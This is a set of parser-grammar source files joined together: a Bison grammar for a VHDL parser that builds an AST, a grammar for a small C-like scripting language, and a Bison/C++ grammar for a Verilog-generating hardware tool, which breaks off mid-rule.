T_LINKAGE "linkage"
T_LITERAL "literal"
T_LOOP "loop"
T_MAP "map"
T_MOD "mod"
T_NAND "nand"
T_NEW "new"
T_NEXT "next"
T_NOR "nor"
T_NOT "not"
T_NULL "null"
T_OF "of"
T_ON "on"
T_OPEN "open"
T_OR "or"
T_OTHERS "others"
T_OUT "out"
T_PACKAGE "package"
T_PORT "port"
T_POSTPONED "postponed"
T_PROCEDURAL "procedural"
T_PROCEDURE "procedure"
T_PROCESS "process"
T_PROTECTED "protected"
T_PURE "pure"
T_RANGE "range"
T_RECORD "record"
T_REFERENCE "reference"
T_REGISTER "register"
T_REJECT "reject"
T_REM "rem"
T_REPORT "report"
T_RETURN "return"
T_ROL "rol"
T_ROR "ror"
T_SELECT "select"
T_SEVERITY "severity"
T_SIGNAL "signal"
T_SHARED "shared"
T_SLA "sla"
T_SLL "sll"
T_SRA "sra"
T_SRL "srl"
T_SUBTYPE "subtype"
T_THEN "then"
T_TO "to"
T_TRANSPORT "transport"
T_TYPE "type"
T_UNAFFECTED "unaffected"
T_UNITS "units"
T_UNTIL "until"
T_USE "use"
T_VARIABLE "variable"
T_WAIT "wait"
T_WHEN "when"
T_WHILE "while"
T_WITH "with"
T_XNOR "xnor"
T_XOR "xor"
// compound delimiters as defined in 13.2
T_ARROW "=>"
T_EXPONENTIATE "**"
T_VAR_ASSIGNMENT ":="
T_INEQUALITY "/="
T_GREATERTHANOREQUAL ">="
T_LESSTHANOREQUAL "<="
T_BOX "<>"
//special characters as defined in 13.1c
T_QUOTE "quote"
T_POUND "#"
T_AMPERSAND "&"
T_SINGLEQUOTE "'"
T_LPAREN "("
T_RPAREN ")"
T_STAR "*"
T_PLUS "+"
T_COMMA ","
T_MINUS "-"
T_DOT "."
T_FORWARDSLASH "/"
T_COLON ":"
T_SEMICOLON ";"
T_LESSTHAN "<"
T_EQUAL "="
T_GREATERTHAN ">"
T_LSQUAREPAREN "["
T_RSQUAREPAREN "]"
T_UNDERSCORE "_"
T_PIPE "|"
//more tokens not defined in standard
// NATURAL "natural"
//STD_LOGIC "std_logic"
//STD_LOGIC_VECTOR "std_logic_vector"
;
%token <std::string> IDENTIFIER "identifier"
%token <int> INTEGER "integer"
%printer { yyoutput << $$; } <*>;
%type <std::string> op range_indicator
%type <std::shared_ptr<AstNode>> logic_expr range_expr logiccondition concurrent_statement
//TODO operator precedence
//%left "or"
//%left "and"
//%left "nor"
//%left "xor"
//%left "+" "-"
%%
%start unit;
//This is the starting point when parsing a file
//Create a TOP node to which file content is added as child nodes
unit:
{
current_node = NodeFactory::make_node(AstNodeType::TOP, nullptr);
}
file_content
{
assert(("Current Node at end of parse is not TOP", current_node->type() == AstNodeType::TOP));
driver.AST = std::static_pointer_cast<TopNode>(current_node);
}
file_content:
%empty
| file_content main_section
main_section:
library_declaration
| entity_declaration
| architecture_body
library_declaration:
"library" "identifier" ";"
| "use" "identifier" ";"
entity_declaration:
"entity" "identifier" "is"
{
auto node = NodeFactory::make_node(AstNodeType::ENTITYDECLARATION, current_node);
node->setProperty("identifier", $2);
current_node->addChild(node);
current_node = node;
}
entity_header entity_declaration_end
{
current_node = current_node->getParent();
}
entity_declaration_end:
"end" ";"
| "end" "entity" ";"
| "end" "entity" "identifier" ";"
| "end" "identifier" ";"
entity_header:
%empty
| formal_port_clause
| formal_generic_clause formal_port_clause
formal_port_clause:
"port" "(" port_list ")" ";"
formal_generic_clause:
"generic" "(" generic_list ")" ";"
port_list:
"identifier" ":"
{
auto node = NodeFactory::make_node(AstNodeType::PORT, current_node);
node->setProperty("identifier", $1);
current_node->addChild(node);
current_node = node;
}
interface_mode subtype_indication
{
current_node = current_node->getParent();
}
endportassigns
endportassigns:
%empty
| ";" port_list
generic_list:
"identifier" ":" "identifier" ":=" "integer"
{
auto node = NodeFactory::make_node(AstNodeType::GENERIC, current_node);
node->setProperty("identifier", $1);
node->setProperty("type_identifier", $3);
node->setProperty("default_value", std::to_string($5));
current_node->addChild(node);
}
endgenericassigns
endgenericassigns:
%empty
| ";" generic_list
interface_mode:
"in"
{
current_node->setProperty("direction", "in");
}
| "out"
{
current_node->setProperty("direction", "out");
}
subtype_indication:
"identifier"
{
current_node->setProperty("subtype", $1);
current_node->setProperty("subtype_width", "1");
}
| "identifier" "(" range_expr ")"
{
current_node->setProperty("subtype", $1);
current_node->addChild($3);
}
range_expr:
logic_expr range_indicator logic_expr
{
auto node = NodeFactory::make_node(AstNodeType::RANGE, current_node);
node->setProperty("type", $2);
node->addChild($1);
node->addChild($3);
$$ = node;
}
range_indicator:
"downto" { $$ = "downto"; }
| "to" { $$ = "to"; }
process_statement:
optional_process_label "process" "("
{
auto node = NodeFactory::make_node(AstNodeType::PROCESS, current_node);
current_node->addChild(node);
current_node = node;
auto snode = NodeFactory::make_node(AstNodeType::SENSITIVITYLIST, current_node);
current_node->addChild(snode);
current_node = snode;
}
optional_sensitivitylist ")"
{
current_node = current_node->getParent();
}
optional_is
process_declarative_part
"begin"
concurrent_statement_block
"end" "process" "identifier" ";"
{
current_node = current_node->getParent();
}
logiccondition:
"identifier" "=" logic_expr
{
auto node = NodeFactory::make_node(AstNodeType::OPERATOR_BINARY, current_node);
node->setProperty("operator", "=");
auto idnode = NodeFactory::make_node(AstNodeType::IDENTIFIER, node);
idnode->setProperty("identifier", $1);
node->addChild(idnode);
node->addChild($3);
$$ = node;
}
| "identifier" "(" "identifier" ")" //to cover rising_edge
{
auto node = NodeFactory::make_node(AstNodeType::IDENTIFIER, current_node);
node->setProperty("identifier", $1);
auto idnode = NodeFactory::make_node(AstNodeType::IDENTIFIER, node);
idnode->setProperty("identifier", $3);
node->addChild(idnode);
$$ = node;
}
| "(" logiccondition ")" { $$ = $2; }
| logiccondition op logiccondition
{
auto node = NodeFactory::make_node(AstNodeType::OPERATOR_BINARY, current_node);
node->setProperty("operator", $2);
node->addChild($1);
node->addChild($3);
$$ = node;
}
logic_expr:
"identifier"
{
auto node = NodeFactory::make_node(AstNodeType::IDENTIFIER, current_node);
node->setProperty("identifier", $1);
$$ = node;
}
| "integer"
{
auto node = NodeFactory::make_node(AstNodeType::INTEGER, current_node);
node->setProperty("value", std::to_string($1));
$$ = node;
}
| "'" "integer" "'"
{
auto node = NodeFactory::make_node(AstNodeType::LITERAL_CHARACTER, current_node);
node->setProperty("value", std::to_string($2));
$$ = node;
}
| "(" logic_expr ")" { $$ = $2; }
| op logic_expr
{
auto node = NodeFactory::make_node(AstNodeType::OPERATOR_UNARY, current_node);
node->setProperty("operator", $1);
node->addChild($2);
$$ = node;
}
| logic_expr op logic_expr
{
auto node = NodeFactory::make_node(AstNodeType::OPERATOR_BINARY, current_node);
node->setProperty("operator", $2);
node->addChild($1);
node->addChild($3);
$$ = node;
}
| "identifier" logic_expr
{
auto node = NodeFactory::make_node(AstNodeType::IDENTIFIER, current_node);
node->setProperty("identifier", $1);
node->addChild($2);
$$ = node;
}
| "identifier" "'" logic_expr
{
auto node = NodeFactory::make_node(AstNodeType::IDENTIFIER, current_node);
node->setProperty("identifier", $1 + "'");
node->addChild($3);
$$ = node;
}
| "identifier" "(" range_expr ")"
{
auto node = NodeFactory::make_node(AstNodeType::IDENTIFIER, current_node);
node->setProperty("identifier", $1);
node->addChild($3);
$$ = node;
}
| logic_expr op logic_expr
{
auto node = NodeFactory::make_node(AstNodeType::OPERATOR_BINARY, current_node);
node->setProperty("operator", $2);
node->addChild($1);
node->addChild($3);
$$ = node;
}
op:
"and" { $$ = "and"; }
| "not" { $$ = "not"; }
| "xor" { $$ = "xor"; }
| "+" { $$ = "+"; }
| "-" { $$ = "-"; }
| "**" { $$ = "**"; }
| "&" { $$ = "&"; }
| "," { $$ = ","; }
optional_is:
%empty
| "is"
optional_process_label:
%empty
| "identifier" ":"
process_declarative_part:
%empty
| "variable" "identifier" ":" "identifier" ";" process_declarative_part
| "variable" "identifier" ":" "identifier" "(" range_expr ")" ";" process_declarative_part
optional_sensitivitylist:
%empty
| "identifier" "," optional_sensitivitylist
{
auto signal = NodeFactory::make_node(AstNodeType::IDENTIFIER, current_node);
signal->setProperty("identifier", $1);
current_node->addChild(signal);
}
| "identifier"
{
auto signal = NodeFactory::make_node(AstNodeType::IDENTIFIER, current_node);
signal->setProperty("identifier", $1);
current_node->addChild(signal);
}
architecture_body:
"architecture" "identifier" "of" "identifier" "is"
{
auto node = NodeFactory::make_node(AstNodeType::ARCHITECTURE, current_node);
node->setProperty("identifier", $2);
node->setProperty("entity_name", $4);
current_node->addChild(node);
current_node = node;
}
architecture_declarative_part
"begin"
architecture_statement_part
architecture_body_end
{
current_node = current_node->getParent();
}
architecture_body_end:
"end" ";"
| "end" "architecture" ";"
| "end" "architecture" "identifier" ";"
| "end" "identifier" ";"
architecture_declarative_part:
%empty
| "signal" "identifier" ":" "identifier" "(" range_expr ")" ";" architecture_declarative_part
| "signal" "identifier" ":" "identifier" ";" architecture_declarative_part
| "signal" "identifier" ":" "identifier" ":=" "'" "integer" "'" ";" architecture_declarative_part
| "attribute" "identifier" ":" "identifier" ";" architecture_declarative_part
| "attribute" "identifier" "of" "identifier" ":" "signal" "is" "quote" "identifier" "quote" ";" architecture_declarative_part
| "type" "identifier" "is" "array" "(" range_expr ")" "of" "identifier" "(" range_expr ")" ";" architecture_declarative_part
architecture_statement_part:
%empty
| concurrent_statement architecture_statement_part
| process_statement architecture_statement_part
concurrent_statement:
"identifier" "<=" logic_expr ";"
{
auto node = NodeFactory::make_node(AstNodeType::ASSIGN, current_node);
auto lhs = NodeFactory::make_node(AstNodeType::IDENTIFIER,node);
lhs->setProperty("identifier", $1);
node->addChild(lhs);
node->addChild($3);
$$ = node;
}
| "identifier" "(" logic_expr ")" "<=" logic_expr ";"
{
auto node = NodeFactory::make_node(AstNodeType::ASSIGN, current_node);
auto lhs = NodeFactory::make_node(AstNodeType::IDENTIFIER,node);
lhs->setProperty("identifier", $1);
lhs->addChild($3);
node->addChild(lhs);
node->addChild($6);
$$ = node;
}
| "identifier" ":=" logic_expr ";"
{
auto node = NodeFactory::make_node(AstNodeType::ASSIGN, current_node);
auto lhs = NodeFactory::make_node(AstNodeType::IDENTIFIER,node);
lhs->setProperty("identifier", $1);
node->addChild(lhs);
node->addChild($3);
$$ = node;
}
| "if" logiccondition "then"
{
auto node = NodeFactory::make_node(AstNodeType::CASE, current_node);
node->addChild($2);
current_node->addChild(node);
current_node = node;
}
concurrent_statement_block conditional_block_termination
concurrent_statement_block:
%empty
| concurrent_statement concurrent_statement_block
{
current_node->addChild($1);
}
conditional_block_termination:
"end" "if" ";"
{
current_node = current_node->getParent();
}
| "elsif" logiccondition "then"
{
current_node = current_node->getParent();
auto node = NodeFactory::make_node(AstNodeType::CASE, current_node);
node->addChild($2);
current_node->addChild(node);
current_node = node;
}
concurrent_statement_block conditional_block_termination
%%
void yyvhdl::vhdl_parser::error ( const location_type& l,
const std::string& m )
{
driver.error (l, m, yylineno);
}
|
%token EOF DOT COMMA SEMICOLON COLON PLUS MINUS STAR SLASH PERCENT AMPERSAND BAR CARET TILDE EXCLAM QUEST EQUALS LESSTHEN GREATTHEN LBRACKET RBRACKET LPAREN RPAREN LBRACE RBRACE GTE LTE EQU NEQ ASR SHL LOGICOR LOGICAND BREAK CATCH CONTINUE ELSE FALSE FINALLY FOR FUNCTION IF RETURN THROW TRUE TRY VAR WHILE ID INT_VAL CHAR STRING ERR
%%
program : EOF
| stat program
| compound_stat program
;
compound_stat : '{' { op_blk_open } stat_list '}' { op_blk_close }
;
stat_list :
| stat stat_list
;
stat : "for" '(' for_lst_opt ';' { op_for_init } int_exp { op_for_cond } ';' for_lst_opt { op_for_after } ')' compound_stat { op_for_end }
| "while" { op_while_begin } condition { op_while_cond } compound_stat { op_while_end }
| "if" condition { op_if_cond } compound_stat else_opt { op_if_end }
| "try" { op_try_begin } compound_stat catch_opt
| "throw" int_exp { op_throw } ';'
| "bool" bool_var_list ';'
| "int" int_var_list ';'
| "fix" fix_var_list ';'
;
assign_or_call : INT_VAR '=' int_exp { op_int_assign } ';'
| INT_FUN function_call { op_ret_discard } ';'
| FIX_VAR '=' fix_exp { op_fix_assign } ';'
| FIX_FUN function_call { op_ret_discard } ';'
| BOOL_VAR '=' bool_exp { op_bool_assign } ';'
| BOOL_FUN function_call { op_ret_discard } ';'
;
function_call : { op_method } '(' arg_list_opt ')' { op_call }
;
else_opt :
| "else" { op_if_else } compound_stat
;
catch_opt : { op_try_end }
| "catch" { op_catch, op_blk_open } '(' ID { op_int_var_decl, op_push_tmp, op_assign } ')' '{' stat_list '}' { op_blk_close, op_catch_end }
;
condition : '(' int_exp ')'
;
arg_list_opt :
| arg_list
;
arg_list : exp { op_arg } arg_list1
;
arg_list1 :
| ',' arg_list
;
exp : int_exp
// | bool_exp
;
for_lst_opt :
| for_lst
;
for_lst : assign_or_call for_lst1
;
for_lst1 :
| ',' for_lst
;
// ----------------------------------------------------------------------------
// Boolean
// ----------------------------------------------------------------------------
bool_var_list : bool_var bool_var_list1
;
bool_var_list1 :
| ',' bool_var_list
;
bool_var : ID { op_var_decl, op_push_tmp } bool_var_assign_opt
;
bool_var_assign_opt : { op_pop_tmp }
| '=' bool_exp { op_bool_assign }
;
bool_exp : bool_and_exp bool_or_exp
;
bool_or_exp :
| LOGICOR bool_exp { op_logic_or }
;
bool_and_exp : bool_unary_exp bool_and_exp1
;
bool_and_exp1 :
| LOGICAND bool_and_exp { op_logic_and }
;
bool_unary_exp : bool_pri_exp
| NOT bool_unary_exp { op_not }
;
bool_pri_exp : "true" { op_push_true }
| "false" { op_push_false }
| '(' bool_exp ')'
;
rel_exp : int_rel_exp
;
// ----------------------------------------------------------------------------
// Integers
// ----------------------------------------------------------------------------
int_var_list : int_var int_var_list1
;
int_var_list1 :
| ',' int_var_list
;
int_var : ID { op_var_decl, op_push_tmp } int_var_assign_opt
;
int_var_assign_opt : { op_pop_tmp }
| '=' int_exp { op_int_assign }
;
int_rel_exp : int_exp int_rel_exp1
;
int_rel_exp1 : '<' int_exp { op_lt }
| '>' int_exp { op_gt }
| EQU int_exp { op_equ }
| NEQ int_exp { op_neq }
| GTE int_exp { op_gte }
| LTE int_exp { op_lte }
;
int_exp : and_exp or_exp
;
or_exp :
| '|' int_exp { op_or }
| '^' int_exp { op_xor }
;
and_exp : shift_exp and_exp1
;
and_exp1 :
| '&' and_exp { op_and }
;
shift_exp : int_add_exp shift_exp1
;
shift_exp1 :
| SHL shift_exp { op_shl }
| ASR shift_exp { op_asr }
;
int_add_exp : int_mult_exp int_add_exp1
;
int_add_exp1 :
| '+' int_add_exp { op_add }
| '-' int_add_exp { op_sub }
;
int_mult_exp : int_unary_exp int_mult_exp1
;
int_mult_exp1 :
| '/' int_mult_exp { op_div }
| '%' int_mult_exp { op_mod }
| '*' int_mult_exp { op_mul }
;
int_unary_exp : int_primary_exp
| '~' int_primary_exp { op_inv }
// | '-' int_primary_exp { op_minus }
;
int_primary_exp : INT_VAL { op_push_int }
| CHAR { op_push_int }
| INT_VAR
| INT_FUN function_call { op_call_int_ret }
| FIX2INT '(' fix_exp ')'
| BOOL2INT '(' fix_exp ')'
| '(' int_exp ')'
;
// ----------------------------------------------------------------------------
// Fixed point
// ----------------------------------------------------------------------------
fix_var_list : fix_var fix_var_list1
;
fix_var_list1 :
| ',' fix_var_list
;
fix_var : ID { op_var_decl, op_push_tmp } fix_var_assign_opt
;
fix_var_assign_opt : { op_pop_tmp }
| '=' fix_exp { op_fix_assign }
;
fix_rel_exp : fix_exp fix_rel_exp1
;
fix_rel_exp1 : '<' fix_exp { op_lt }
| '>' fix_exp { op_gt }
| EQU fix_exp { op_equ }
| NEQ fix_exp { op_neq }
| GTE fix_exp { op_gte }
| LTE fix_exp { op_lte }
;
fix_exp : fix_add_exp
;
fix_add_exp : fix_mult_exp fix_add_exp1
;
fix_add_exp1 :
| '+' fix_add_exp { op_add_fix }
| '-' fix_add_exp { op_sub_fix }
;
fix_mult_exp : fix_unary_exp fix_mult_exp1
;
fix_mult_exp1 :
| '/' fix_mult_exp { op_div_fix }
| '*' fix_mult_exp { op_mul_fix }
;
fix_unary_exp : fix_primary_exp
| '-' fix_primary_exp { op_minus_fix }
;
fix_primary_exp : FIX { op_push_fix }
| FIX_VAR
| FIX_FUN function_call { op_call_fix_ret }
| '(' int_exp ')'
| '(' fix_exp ')'
;
|
<gh_stars>1-10
%token id ninteger amp moduledefinition intype inttype outtype inouttype definevalue wiretipe
%token opas parl parr pyc coma oprel opmd opasig bral connectwire nyooperator stringtext
%token brar cbl cbr ybool obool nobool opasinc twopoints mainmodule booltokentrue definevalueverilog
%token functionmodule descriptionmodule codermodule referencesmodule booltoken booltokenfalse verilogtext wireverilogtipe
%token flopconnection
%{
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <iostream>
#include <vector>
#include <sstream>
using namespace std;
//#include "common.h"
#include "./objects/TableFunctionSymbols.h"
#include "./objects/TableSymbols.h"
/* Version */
#define VERSION "1.5.0"
/* Return messages */
#define CORRECT_EXECUTION 0
#define WRONG_ARGUMENTS 1
// variables y funciones del A. Léxico
extern int ncol,nlin,endfile;
/* START FUNCTIONS */
const int INTEGER=1;
const int REFERENCE=2;
const int STRING=3;
const int LOGIC=5;
/* Global project Name */
string projectName = "a.out";
string projectFolder = "OUTPUT";
bool db = false;
bool tb = false; // testbech creation
bool itb = false; // individual testbech creation
bool qtb = false; // questa sim testbench creation
bool vtb = false; // verilator testbech creation
bool avb = false; // create assertions
bool kcreation = false; // create kicat folder and desing
string init_output(bool);
struct Type {
int type;
int size;
int baseType;
};
/* Auxiliary Function */
vector<std::string> split_ref(string value){
istringstream iss(value);
std::vector<std::string> tokens;
std::string token;
while (std::getline(iss, token, '.')) {
if (!token.empty())
tokens.push_back(token);
}
return tokens;
}
/* Auxiliary Function */
/* Table Symbols */
TableSymbols ts;
/* Table Symbols */
/* Table Symbols */
TableFunctionSymbols tfs;
/* Table Symbols */
/* END FUNCTIONS */
/*Global Helpers*/
extern int yylex();
extern char *yytext;
extern FILE *yyin;
string s1;
string s2;
string name_function_main;
int yyerror(char *s);
%}
%%
SA : S
{
int tk = yylex();
if (tk != 0) yyerror((char*)"");
}
;
/* Base syntax */
ModuleTextDefinition : stringtext { string pme = $1.lexeme; pme.erase(0, 1);pme.erase(pme.size() - 1); $$.trad = pme;}
| Ref {
int pos = ts.shearchSymbol($1.trad, s1, nlin,ncol);
string value = ts.v_symbols.at(pos).getValue_S();
$$.trad = value;
}
;
ValueDefinition : ninteger {string pme = $1.lexeme; $$.trad = pme; $$.size = INTEGER;}
| booltoken {string pme = $1.lexeme; $$.trad = pme; $$.size = LOGIC;}
| stringtext{string pme = $1.lexeme; $$.trad = pme; $$.size = STRING;}
;
SSuperblock : SSuperblock SSSuperblockDefine id ValueDefinition {
string pme = $3.lexeme;
ts.addSymbol(pme,$2.size, $4.trad, $4.size, "null", nlin, ncol);
$$.trad = $1.trad;
}
| SSSuperblockDefine id ValueDefinition{string pme = $2.lexeme; ts.addSymbol(pme,$1.size, $3.trad, $3.size, "null", nlin, ncol);$$.trad = $1.trad;}
| /*epsilon*/ { }
;
SSSuperblockDefine : definevalue {$$.size = DEFINITION;}
| definevalueverilog {$$.size = DEFINITIONVERILOG;}
;
/* Function agrupation*/
SSAFunc : SSAFunc Func {$$.trad = $1.trad + $2.trad;}
| Func {$$.trad = $1.trad;}
;
SAFunc : SSAFunc MainFunc {$$.trad = $1.trad + $2.trad;}
;
/* Function */
Func : moduledefinition id
{
/*Add module*/
string pme = $2.lexeme;
// fist add symbol
ts.addSymbol(pme,FUNCTION, "null", nlin, ncol);
// then add symbol
tfs.addFunctionSymbol(pme, projectName, projectFolder, nlin, ncol);
s1 = pme;
//printf("%s", s1);
}
parl SArgs parr Block
{
/* Create file for module*/
s1 = "null";
string pme = $2.lexeme;
int pos = tfs.searchFunctionSymbol(pme, nlin, ncol);
//tfs.v_funcSymbols.at(pos).createFileModule(ts.createDefinitions());
}
;
MainFunc : moduledefinition mainmodule id
{
/*Add module*/
string pme = $3.lexeme;
// fist add symbol
ts.addSymbol(pme,FUNCTION,"null", nlin, ncol);
// then add symbol
tfs.addTopFunctionSymbol(pme, projectName, projectFolder, nlin, ncol);
s1 = pme;
name_function_main = pme;
} parl SArgs parr Block
{
/* Create file for module*/
s1 = "null";
string pme = $3.lexeme;
int pos = tfs.searchFunctionSymbol(pme, nlin, ncol);
string base = init_output(db);
tfs.v_funcSymbols.at(pos).createFileModule(init_output(db), ts.createDefinitionsTop());
// generate the rest of the modules
for (unsigned int x = 0; x < tfs.v_funcSymbols.size(); ++x){
if (x != pos){
tfs.v_funcSymbols.at(x).createFileModule(ts.createDefinitions());
}
}
}
;
/* Function args */
SArgs : DArgs {$$.trad = "";}
| /*epsilon*/ { }
;
DArgs : id SArBlock {
string pme = $1.lexeme;
//printf("%s", s1);
if(s1 != "null"){
ts.addSymbol(pme,PARAMETERFUNCTION,$2.trad, INTEGER, s1, nlin, ncol);
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
if ($2.trad == ""){
tfs.v_funcSymbols.at(pos).addFunctionSymbolParam(pme, nlin, ncol);
}
else{
tfs.v_funcSymbols.at(pos).addFunctionSymbolParam(pme, $2.trad, $2.size, nlin, ncol);
}
}
}
| DArgs coma id SArBlock {
string pme = $3.lexeme;
if(s1 != "null"){
ts.addSymbol(pme,PARAMETERFUNCTION,$4.trad, INTEGER, s1, nlin, ncol);
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
if ($4.trad == ""){
tfs.v_funcSymbols.at(pos).addFunctionSymbolParam(pme, nlin, ncol);
}
else{
tfs.v_funcSymbols.at(pos).addFunctionSymbolParam(pme, $4.trad, $4.size, nlin, ncol);
}
}
}
;
SArBlock : opasig Expr {
if ($2.type == INTEGER){
$$.trad = $2.trad;
$$.size = $2.size;
}
else if ($2.type == REFERENCE){
int pos = ts.shearchSymbol($2.trad, s1,nlin,ncol);
$$.trad = $2.trad;
$$.size = $2.size;
}
}
| /*epsilon*/ { $$.trad = "";}
;
/* Block definition and instructions base */
Block : cbl SInstr cbr {$$.trad = $2.trad;}
;
SInstr : SInstr Instr {$$.trad = $1.trad + $2.trad;}
| Instr {$$.trad = $1.trad;}
;
/* Instruction definition */
/* TODO THINK TO REDO WITH ONLY 2 RULES*/
Instr : EInstr pyc {$$.trad = $1.trad + ";";}
| verilogtext {
int pos;
if(s1 != "null"){
pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
string pme = $1.lexeme;
tfs.v_funcSymbols.at(pos).addVerilogDump(pme);
}
}
| functionmodule ModuleTextDefinition
{
int pos;
if(s1 != "null"){
pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
if (tfs.v_funcSymbols.at(pos).getFunction() == ""){
tfs.v_funcSymbols.at(pos).setFunction($2.trad);
}else{
// fail: functionmodule Olreeady defing
string pme = $1.lexeme;
msgError(ERRFUNODEC, nlin, ncol, pme.c_str());
}
}
}
| descriptionmodule ModuleTextDefinition {
int pos;
if(s1 != "null"){
pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
if (tfs.v_funcSymbols.at(pos).getDescription() == ""){
tfs.v_funcSymbols.at(pos).setDescription($2.trad);
}else{
// fail: functionmodule Olreeady defing
string pme = $1.lexeme;
msgError(ERRDESCDEFALDEC, nlin, ncol, pme.c_str());
}
}
}
| codermodule ModuleTextDefinition {
int pos;
if(s1 != "null"){
pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
if (tfs.v_funcSymbols.at(pos).getCode() == ""){
tfs.v_funcSymbols.at(pos).setCode($2.trad);
}else{
// fail: functionmodule Olreeady defing
string pme = $1.lexeme;
msgError(ERRORCODDEFALDEC, nlin, ncol, pme.c_str());
}
}
}
| referencesmodule ModuleTextDefinition {
if(s1 != "null"){
int pos;
pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
if (tfs.v_funcSymbols.at(pos).getReferences() == ""){
tfs.v_funcSymbols.at(pos).setReferences($2.trad);
}else{
// fail: functionmodule Olreeady defing
string pme = $1.lexeme;
msgError(ERRORDEFIALDEC, nlin, ncol, pme.c_str());
}
}
}
|/*epsilon*/ { }
;
EInstr : Ref {
string pme = $1.trad; $$.ph = pme;} CallExpresion {$$.trad = $3.trad;}
| TipoBase Arrayargs id {
string aux = "_";
string pme = $3.lexeme;
// add symbol
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
ts.addSymbol(pme + aux + $1.trad,INOUTSYMBOL,s1, nlin, ncol);
string with = $2.trad ;
tfs.v_funcSymbols.at(pos).addConnectionFunctionSymbol(pme,$1.size,with, nlin, ncol);
$$.trad = $1.trad + pme;
}
| wireverilogtipe Arrayargs id {
string aux = "_w";
string pme = $3.lexeme;
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
string with = $2.trad ;
ts.addSymbol(pme + aux ,INOUTSYMBOL,s1, nlin, ncol);
tfs.v_funcSymbols.at(pos).addVWireConnection(with,pme+aux);
}
| flopconnection Arrayargs Ref connectwire Ref {
string var_out = $3.trad;
string var_in = $5.trad;
bool print = true;
// get functionsymbol that stores instantce
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
// decompse the variables.
// decompse out var
vector<string> out = split_ref(var_out);
// decompse in var
vector<string> in = split_ref(var_in);
// check out function
int pos_base = tfs.v_funcSymbols.at(pos).searchInstance(out[0], nlin, ncol);
// check InoutSymbol
int out_inout;
out_inout = tfs.v_funcSymbols.at(pos).v_instances.at(pos_base).searchinoutSymbol(out[1], OUT, nlin, ncol);
int pos_aux = tfs.v_funcSymbols.at(pos).searchInstance(in[0], nlin, ncol);
// check InoutSymbol
int in_inout;
in_inout = tfs.v_funcSymbols.at(pos).v_instances.at(pos_aux).searchinoutSymbol(in[1], IN, nlin, ncol);
// all verfiy
// add values instance and store wire
string name_wire = out[1] + "_" + out[0] + "_" + in[0];
// verify the wire if already exists and register if
if (!ts.contains(name_wire,s1)){
// resgiter only of already exits
ts.addSymbol(name_wire,WIRE,s1, nlin, ncol);
}
else{
print = false;
}
// create wire.
// add and instace out
string value = tfs.v_funcSymbols.at(pos).v_instances.at(pos_base).addValueInoutSymbolParam(out[1], name_wire, OUT, nlin,ncol);
if (value == ""){
// not filled yet
// add and instace in
tfs.v_funcSymbols.at(pos).v_instances.at(pos_aux).addValueInoutSymbolParam(in[1], name_wire, INFLOP, nlin,ncol);
// add wire
tfs.v_funcSymbols.at(pos).addWireConnection(out[0],in[0],out_inout, in_inout, $2.trad,name_wire, out[1] + "_o", in[1]+ "_i",print);
}
else{
// already filled only add the symbol
tfs.v_funcSymbols.at(pos).v_instances.at(pos_aux).addValueInoutSymbolParam(in[1], value, IN, nlin,ncol);
if(!tfs.v_funcSymbols.at(pos).addNewFunctionInWireConnection(value, in[0],in[1]+ "_i")){
cout<< "ERROR"<<endl;
}
}
}
| wiretipe Arrayargs Ref connectwire Ref {
string var_out = $3.trad;
string var_in = $5.trad;
bool print = true;
// get functionsymbol that stores instantce
int pos = tfs.searchFunctionSymbol(s1, nlin, ncol);
// decompse the variables.
// decompse out var
vector<string> out = split_ref(var_out);
// decompse in var
vector<string> in = split_ref(var_in);
// check out function
int pos_base = tfs.v_funcSymbols.at(pos).searchInstance(out[0], nlin, ncol);
// check InoutSymbol
int out_inout;
out_inout = tfs.v_funcSymbols.at(pos).v_instances.at(pos_base).searchinoutSymbol(out[1], OUT, nlin, ncol);
int pos_aux = tfs.v_funcSymbols.at(pos).searchInstance(in[0], nlin, ncol);
// check InoutSymbol
int in_inout;
in_inout = tfs.v_funcSymbols.at(pos).v_instances.at(pos_aux).searchinoutSymbol(in[1], IN, nlin, ncol);
// all verfiy
// add values instance and store wire
string name_wire = out[1] + "_" + out[0] + "_" + in[0];
// verify the wire if already exists and register if
if (!ts.contains(name_wire,s1)){
// resgiter only of already exits
ts.addSymbol(name_wire,WIRE,s1, nlin, ncol);
}
else{
print = false;
}
// create wire.
// add and instace out
string value = tfs.v_funcSymbols.at(pos).v_instances.at(pos_base).addValueInoutSymbolParam(out[1], name_wire, OUT, nlin,ncol);
if (value == ""){
// not filled yet
// add and instace in
tfs.v_funcSymbols.at(pos).v_instances.at(pos_aux).addValueInoutSymbolParam(in[1], name_wire, IN, nlin,ncol);
// add wire
tfs.v_funcSymbols.at(pos).addWireConnection(out[0],in[0],out_inout, in_inout, $2.trad,name_wire, out[1] + "_o", in[1]+ "_i",print);
}
else{
// already filled only add the symbol
tfs.v_funcSymbols.at(pos).v_instances.at(pos_aux).addValueInoutSymbolParam(in[1], value, IN, nlin,ncol);
if(!tfs.v_funcSymbols.at(pos).addNewFunctionInWireConnection(value, in[0],in[1]+ "_i")){
cout<< "ERROR"<<endl;
}
}
}
;
CallExpresion : twopoints id {
string pme = $2.lexeme;
//int pos = ts.shearchSymbol(pme,s1, nlin,ncol);
//if (pos != -1){
// TODO chaneg for properly error
// cout<< "INSTANCE SYMBOL DECLARED"<<endl;
// exit(1);
//}
ts.addSymbol(pme,INSTANCESYMBOL,s1, nlin, ncol);
int pos_instance = tfs.searchFunctionSymbol(s1, nlin, ncol);
int pos_module = tfs.searchFunctionSymbol($0.ph, nlin, ncol);
s2 = pme;
tfs.v_funcSymbols.at(pos_instance).addInstance(tfs.v_funcSymbols.at(pos_module).getInoutSymbol(), tfs.v_funcSymbols.at(pos_module).getFunctionSymbolParam(), $0.ph, pme);
}
parl CallArgs parr cbl CallConnectors cbr
{
string pme = $2.lexeme;
string pme_name = $0.ph;
//ts.addSymbol(pme,INSTANCESYMBOL,s1, nlin, ncol);
s2 = "null";
//(vector<InoutSymbol> v_inoutwires, vector<FunctionSymbolParam> v_param, string name_module, string name_instance)
